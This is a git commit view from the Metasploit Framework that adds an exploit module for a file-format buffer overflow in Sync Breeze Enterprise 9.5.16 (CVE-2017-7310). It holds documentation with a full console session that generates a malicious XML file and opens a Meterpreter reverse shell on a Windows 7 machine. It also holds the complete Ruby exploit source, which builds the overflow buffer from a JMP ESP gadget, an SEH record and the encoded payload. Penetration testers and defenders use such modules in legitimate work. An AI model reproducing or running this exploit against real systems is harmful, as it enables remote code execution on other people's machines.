Land #9416, Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
Merge branch 'land-9416' into upstream-masterMS-2855/keylogger-mettle-extension
commit
a27cfeaea9
|
@ -0,0 +1,45 @@
|
|||
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16 by using the import command option to import a specially crafted xml file.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/e5c42cce3304c323776e4785e8fb4685-syncbreezeent_setup_v9.5.16.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `exploit/windows/fileformat/syncbreeze_xml`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Example
|
||||
```
|
||||
msf > use exploit/windows/fileformat/syncbreeze_xml
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > set LHOST 192.168.216.5
|
||||
LHOST => 192.168.216.5
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > run
|
||||
|
||||
[*] Creating 'msf.xml' file ...
|
||||
[+] msf.xml stored at /root/.msf4/local/msf.xml
|
||||
msf exploit(windows/fileformat/syncbreeze_xml) > use exploit/multi/handler
|
||||
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(multi/handler) > set LHOST 192.168.216.5
|
||||
LHOST => 192.168.216.5
|
||||
msf exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.216.5:4444
|
||||
[*] Sending stage (179779 bytes) to 192.168.216.137
|
||||
[*] Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.137:49830) at 2018-01-15 15:32:02 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : IE11WIN7
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
|
||||
'Description' => %q(
|
||||
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
|
||||
by using the import command option to import a specially crafted xml file.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Teixeira'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-7310' ],
|
||||
[ 'EDB', '41773' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh',
|
||||
'DisablePayloadHandler' => 'true'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows Universal', { 'Ret' => 0x10015FFE } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 29 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
|
||||
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
|
||||
jmp = "\xFF\xE0" # JMP ESP
|
||||
|
||||
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
|
||||
buffer << "\x90" * 1536
|
||||
buffer << jmpesp
|
||||
buffer << "\x90" * 18
|
||||
buffer << esp
|
||||
buffer << jmp
|
||||
buffer << "\x90" * 68
|
||||
buffer << generate_seh_record(target.ret)
|
||||
buffer << "\x90" * 10
|
||||
buffer << payload.encoded
|
||||
buffer << "\x90" * 5000
|
||||
buffer << "\n</classify>"
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
file_create(buffer)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue